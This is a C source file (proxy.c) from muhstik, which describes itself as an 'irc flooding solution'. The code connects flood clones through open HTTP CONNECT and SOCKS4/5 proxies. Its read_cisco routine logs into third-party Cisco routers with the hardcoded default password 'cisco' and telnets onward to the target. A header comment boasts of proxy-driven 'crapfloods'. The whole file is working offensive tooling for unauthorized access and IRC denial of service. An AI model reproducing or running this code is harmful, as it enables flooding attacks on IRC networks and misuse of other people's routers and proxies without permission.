muhstik

- irc flooding solution
git clone git://git.acid.vegas/muhstik.git
Log | Files | Refs | Archive | README

proxy.c (13622B)

      1 /* Muhstik, Copyright (C) 2001-2002, Louis Bavoil <mulder@gmx.fr>       */
      2 /*                        2009-2011, Leon Kaiser <literalka@gnaa.eu>    */
      3 /*                                                                      */
      4 /* This program is free software; you can redistribute it and/or        */
      5 /* modify it under the terms of the GNU Library General Public License  */
      6 /* as published by the Free Software Foundation; either version 2       */
      7 /* of the License, or (at your option) any later version.               */
      8 /*                                                                      */
      9 /* This program is distributed in the hope that it will be useful,      */
     10 /* but WITHOUT ANY WARRANTY; without even the implied warranty of       */
     11 /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the        */
     12 /* GNU Library General Public License for more details.                 */
     13 
     14 /* {{{ Relevant Information:
     15  * NOTE: Much of the following miles upon miles of utterly worthless blogging
     16  *        was taken from the BOPM source code.
     17  *
     18  *  Cisco Routers: Cisco routers with a default password. Also pretty much
     19  *                   anything else that will let you `telnet' to anywhere else
     20  *                   on the Internet. These are (apparently) always on port 23.
     21  *
     22  *  HTTP/1.1 {POST,CONNECT}:
     23  *
     24  *  HTTP POST: The HTTP POST protocol used to often be dismissed when writing
     25  *              the access controls for proxies until a massive series of GNAA
     26  *              crapfloods.
     27  *             HTTP POST Offers only the opportunity to send a single block of
     28  *              data, but enough of them at once can still make for a
     29  *              devastating flood (see: `GNAA'.) Found on the same ports that
     30  *              HTTP CONNECT proxies inhabit.
     31  *             Note that if an ircd has "ping cookies" then clients from HTTP
     32  *              POST proxies cannot connect to the network anyway.
     33  *
     34  *  HTTP CONNECT: A very common proxy protocol supported by widely known
     35  *                 software such as Squid and Apache. The most common sort of
     36  *                 insecure proxy and found on a multitude of weird ports too.
     37  *                Offers transparent two way TCP connections.
     38  *
     39  *             [RFC2616] Hypertext Transfer Protocol -- HTTP/1.1                     @  <http://tools.ietf.org/txt/rfc2616.txt>
     40  *             [RFC2617] HTTP Authentication: Basic and Digest Access Authentication @  <http://tools.ietf.org/txt/rfc2617.txt>
     41  *
     42  *  SOCKS{4,5}: Well known proxy protocols, probably the second most common for
     43  *               insecure proxies, also offers transparent two way TCP
     44  *               connections. Largely confined to port 1080.
     45  *
     46  *  SOCKS4:
     47  *             idk                                                                   @  <http://socks.permeo.com/protocol/socks4.protocol>
     48  *             SOCKS: A protocol for TCP proxy across firewalls                      @  <http://www.digitalcybersoft.com/ProxyList/socks4.shtml>
     49  *             SOCKS 4A: A Simple Extension to SOCKS 4 Protocol                      @  <http://www.digitalcybersoft.com/ProxyList/socks4a.shtml>
     50  *
     51  *  SOCKS5:
     52  *             [RFC1928] SOCKS Protocol Version 5                                    @  <http://tools.ietf.org/txt/rfc1928.txt>
     53  *             [RFC1929] Username/Password Authentication for SOCKS V5               @  <http://tools.ietf.org/txt/rfc1929.txt>
     54  *             [RFC1961] GSS-API Authentication Method for SOCKS Version 5           @  <http://tools.ietf.org/txt/rfc1961.txt>
     55  *             Challenge-Handshake Authentication Protocol for SOCKS V5              @  <http://www.tools.ietf.org/html/draft-ietf-aft-socks-chap>
     56  *
     57  *  TOR:
     58  *             idk                                                                   @  <http://www.sectoor.de/tor.php>
     59  *             Tor's extensions to the SOCKS protocol                                @  <https://git.torproject.org/checkout/tor/master/doc/spec/socks-extensions.txt>
     60  *             Design For A Tor DNS-based Exit List                                  @  <https://git.torproject.org/checkout/tor/master/doc/contrib/torel-design.txt>
     61  *
     62  *  Misc:
     63  *             [RFC3089] A SOCKS-based IPv6/IPv4 Gateway Mechanism                   @  <http://tools.ietf.org/txt/rfc3089.txt>
     64  }}} */
     65 /* {{{ Header includes */
     66 #include <stdio.h>
     67 #include <stdlib.h>
     68 #include <time.h>
     69 #include <unistd.h>
     70 
     71 #include "../include/proxy.h"
     72 #include "../include/print.h"
     73 #include "../include/net.h"
     74 #include "../include/string.h"
     75 #include "../include/print.h"
     76 /* }}} */
     77 /* {{{ Variables */
     78 /* {{{ External variables */
     79 extern config_t conf;
     80 extern clone_t *cl[];
     81 /* }}} */
     82 /* {{{ Constants */
     83 const char *strtype[] =
     84 {
     85      "SOCKS4",
     86      "SOCKS5",
     87      "proxy",
     88      "cisco",
     89      "vhost",
     90      "direct"
     91 };
     92 /* }}} */
     93 /* }}} */
     94 /* {{{ connect_clone() */
     95 int connect_clone(clone_t *clone, char *host, unsigned short port)
     96 {
     97      char *vhost = NULL;
     98      netstore *ns = net_store_new();
     99 
    100      if (clone->type == VHOST)
    101      {
    102           vhost = clone->proxy;
    103      }
    104 
    105      if (net_resolve(ns, host, port))
    106      {
    107           print(1, 4, 0, "%s: %s: nslookup failed", strtype[clone->type], host);
    108           net_store_destroy(ns);
    109           return 1;
    110      }
    111      if (net_connect(ns, &clone->sock, vhost))
    112      {
    113           if (errno != EINPROGRESS)
    114           {
    115                net_store_destroy(ns);
    116                return 1;
    117           }
    118      }
    119      clone->start = time(NULL);
    120      net_store_destroy(ns);
    121      return 0;
    122 }
    123 /* }}} */
    124 /* {{{ init_*() */
    125 int init_irc(clone_t *clone)
    126 {
    127      send_irc_nick(clone, clone->nick);
    128      register_clone(clone);
    129      return WAIT_IRC;
    130 }
    131 
    132 int init_vhost(int sock, char *vhost)
    133 {
    134      netstore *ns = net_store_new();
    135 
    136      if (net_resolve(ns, vhost, 0))
    137      {
    138           print(1, 4, 0, "vhost: %s: nslookup failed", vhost);
    139           net_store_destroy(ns);
    140           return 1;
    141      }
    142      if (net_bind(ns, sock))
    143      {
    144           print(1, 0, 0, "vhost: bind: %s", strerror(errno));
    145           net_store_destroy(ns);
    146           return 1;
    147      }
    148 
    149      net_store_destroy(ns);
    150      return 0;
    151 }
    152 /* {{{ SOCKS{4,5} */
    153 /* {{{ CONNECT request byte order for SOCKS4
    154  *
    155  *              +----+----+----+----+----+----+----+----+----+----+....+----+
    156  *              | VN | CD | DSTPORT |      DSTIP        | USERID       |NULL|
    157  *              +----+----+----+----+----+----+----+----+----+----+....+----+
    158  * # of bytes:	   1    1      2              4           variable       1
    159  *
    160  *
    161  * Responses:
    162  *              +----+----+----+----+----+----+----+----+
    163  *              | VN | CD | DSTPORT |      DSTIP        |
    164  *              +----+----+----+----+----+----+----+----+
    165  * # of bytes:	  1    1      2              4
    166  *
    167  * VN is the version of the reply code and should be 0. CD is the result
    168  * code with one of the following values:
    169  *
    170  * 90: Request granted.
    171  * 91: Request rejected or failed.
    172  * 92: Request rejected because SOCKS server cannot connect to identd on the
    173  *      client.
    174  * 93: Request rejected because the client program and identd report different
    175  *      user-IDs.
    176  *
    177  }}} */
    178 int init_socks4(clone_t *clone)
    179 {
    180      char buffer[9];
    181      struct in_addr addr;
    182      unsigned short port;
    183 
    184      port = htons(clone->port);
    185      if (resolve(clone->host, &addr))
    186      {
    187           print(1, 4, 0, "%s: %s: nslookup failed", strtype[clone->type], clone->host);
    188           clone->status = EXIT;
    189      }
    190      memcpy(&buffer[2], &port, 2);
    191      memcpy(&buffer[4], &addr.s_addr, 4);
    192      buffer[0] = 4;
    193      buffer[1] = 1;
    194      buffer[8] = 0;
    195      send(clone->sock, buffer, 9, 0);
    196      return WAIT_SOCKS4;
    197 }
    198 
    199 /* {{{ Send version authentication selection message to SOCKS5
    200  *
    201  *       +----+----------+----------+
    202  *       |VER | NMETHODS | METHODS  |
    203  *       +----+----------+----------+
    204  *       | 1  |    1     | 1 to 255 |
    205  *       +----+----------+----------+
    206  *
    207  *  VER always contains 5, for SOCKSv5
    208  *  Method 0 is 'No authentication required'
    209  *
    210  *
    211  *
    212  *  The SOCKS request is formed as follows:
    213  *
    214  *        +----+-----+-------+------+----------+----------+
    215  *       |VER | CMD |  RSV  | ATYP | DST.ADDR | DST.PORT |
    216  *       +----+-----+-------+------+----------+----------+
    217  *       | 1  |  1  | X'00' |  1   | Variable |    2     |
    218  *       +----+-----+-------+------+----------+----------+
    219  *
    220  *
    221  *         o  VER    protocol version: X'05'
    222  *         o  CMD
    223  *            o  CONNECT X'01'
    224  *            o  BIND X'02'
    225  *            o  UDP ASSOCIATE X'03'
    226  *         o  RSV    RESERVED
    227  *         o  ATYP   address type of following address
    228  *            o  IP V4 address: X'01'
    229  *            o  DOMAINNAME: X'03'
    230  *            o  IP V6 address: X'04'
    231  *         o  DST.ADDR       desired destination address
    232  *         o  DST.PORT desired destination port in network octet
    233  *            order
    234  *
    235  }}} */
    236 struct sock5_connect1
    237 {
    238      char version;
    239      char nmethods;
    240      char method;
    241 };
    242 
    243 int init_socks5(clone_t *clone)
    244 {
    245      struct sock5_connect1 sc1;
    246 
    247      sc1.version = 5;
    248      sc1.nmethods = 1;
    249      sc1.method = 0;
    250      send(clone->sock, (char *) &sc1, 3, 0);
    251 
    252      return WAIT_SOCKS5_1;
    253 }
    254 
    255 int init_read_socks5(clone_t *clone)
    256 {
    257      unsigned short port;
    258      unsigned char *sc2;
    259      unsigned int addrlen;
    260      unsigned int packetlen;
    261      char buf[10];
    262 
    263      if (recv(clone->sock, buf, 2, 0) < 2)
    264      {
    265           return EXIT;
    266      }
    267 
    268      if (buf[0] != 5 && buf[1] != 0)
    269      {
    270           return EXIT;
    271      }
    272 
    273      port = htons(clone->port);
    274      addrlen = strlen(clone->host);
    275      packetlen = 4 + 1 + addrlen + 2;
    276      sc2 = xmalloc(packetlen);
    277      sc2[0] = 5;                                                  /* version */
    278      sc2[1] = 1;                                                  /* command */
    279      sc2[2] = 0;                                                  /* reserved */
    280      sc2[3] = 3;                                                  /* address type */
    281      sc2[4] = (unsigned char) addrlen;                            /* hostname length */
    282      memcpy(sc2 + 5, clone->host, addrlen);
    283      memcpy(sc2 + 5 + addrlen, &port, sizeof(unsigned short));
    284 
    285      send(clone->sock, sc2, packetlen, 0);
    286      free(sc2);
    287 
    288      return WAIT_SOCKS5_2;
    289 }
    290 /* }}} */
    291 int init_proxy(clone_t *clone)
    292 {
    293      send_sock(clone->sock, "CONNECT %s:%d HTTP/1.0\r\n\r\n", clone->host, clone->port);
    294      return WAIT_PROXY;
    295 }
    296 /* }}} */
    297 /* {{{ readline() */
    298 int readline(int s, char *buffer, size_t buffer_size)
    299 {
    300      char c;
    301      unsigned int i = 0; /* ``unsigned'' is not needed, stops a warning when compiled with -Wextra */
    302 
    303      do {
    304           if (1 > read(s, &c, 1))
    305           {
    306                return 0;
    307           }
    308           if (i < (buffer_size - 1))
    309           {
    310                buffer[i++] = c;
    311           }
    312      } while (c != '\n');
    313      buffer[i] = 0;
    314 
    315      return i;
    316 }
    317 /* }}} */
    318 /* {{{ Cisco-related, compile-time, constants */
    319 #define CISCO_GREET "User Access Verification"
    320 #define CISCO_PWD "cisco"
    321 /* }}} */
    322 /* {{{ read_*() */
    323 /**
    324  * read_cisco(): Cisco scanning
    325  *
    326  * Attempt to connect using `CISCO_PWD' as a password, then give command for
    327  *  telnet(1) to the scanip/scanport
    328  */
    329 int read_cisco(clone_t *clone)
    330 {
    331      char buf[MEDBUF];
    332 
    333      memset(buf, 0, sizeof(buf));
    334      if (!readline(clone->sock, buf, MEDBUF))
    335      {
    336           return EXIT;
    337      }
    338 
    339      if (StrCmpPrefix(buf, CISCO_GREET))
    340      {
    341           return WAIT_CISCO;
    342      }
    343 
    344      send_sock(clone->sock, "%s\n", CISCO_PWD);
    345      send_sock(clone->sock, "telnet %s %d\n", clone->host, clone->port);
    346      return WAIT_IDENT;
    347 }
    348 
    349 int read_proxy(clone_t *clone)
    350 {
    351      char buf[MEDBUF];
    352 
    353      memset(buf, 0, sizeof(buf));
    354      if (!readline(clone->sock, buf, MEDBUF))
    355      {
    356           return EXIT;
    357      }
    358 
    359      if (memcmp(buf, "HTTP/", 5) || memcmp(buf + 9, "200", 3))
    360      {
    361           if (conf.debug)
    362           {
    363                print(0, 2, 0, "[%s;%s] PROXY: %s", clone->nick, clone->proxy, buf);
    364           }
    365           return EXIT;
    366      }
    367 
    368      return WAIT_IDENT;
    369 }
    370 
    371 int read_socks4(clone_t *clone)
    372 {
    373      char buffer[9];
    374 
    375      if (recv(clone->sock, buffer, 8, 0) < 8)
    376      {
    377           return EXIT;
    378      }
    379 
    380      if (buffer[1] != 0x5A)
    381      {
    382           if (conf.debug)
    383           {
    384                print(1, 2, 0, "[%s;%s] SOCKS4: Connection refused", clone->nick, clone->proxy);
    385           }
    386           return EXIT;
    387      }
    388 
    389      if (conf.debug)
    390      {
    391           print(1, 2, 0, "[%s;%s] SOCKS4: Success", clone->nick, clone->proxy);
    392      }
    393      return WAIT_IDENT;
    394 }
    395 
    396 int read_socks5(clone_t *clone)
    397 {
    398      unsigned char buf[MEDBUF];
    399      unsigned int packetlen;
    400 
    401      /* consume all of the reply */
    402      if (recv(clone->sock, buf, 4, 0) < 4)
    403      {
    404           if (conf.debug)
    405           {
    406                print(1, 2, 0, "[%s;%s] SOCKS5: Permission denied", clone->nick, clone->proxy);
    407           }
    408           return EXIT;
    409      }
    410 
    411      if (buf[0] != 5 && buf[1] != 0)
    412      {
    413           return EXIT;
    414      }
    415 
    416      if (buf[3] == 1)
    417      {
    418           if (recv(clone->sock, buf, 6, 0) != 6)
    419           {
    420                return EXIT;
    421           }
    422      }
    423      else if (buf[3] == 4)
    424      {
    425           if (recv(clone->sock, buf, 18, 0) != 18)
    426           {
    427                return EXIT;
    428           }
    429      }
    430      else if (buf[3] == 3)
    431      {
    432           if (recv(clone->sock, buf, 1, 0) != 1)
    433           {
    434                return EXIT;
    435           }
    436           packetlen = buf[0] + 2;
    437           if (recv(clone->sock, buf, packetlen, 0) != packetlen)
    438           {
    439                return EXIT;
    440           }
    441      }
    442 
    443      if (conf.debug)
    444      {
    445           print(1, 2, 0, "[%s;%s] SOCKS5: Success", clone->nick, clone->proxy);
    446      }
    447      return WAIT_IDENT;
    448 }
    449 /* }}} */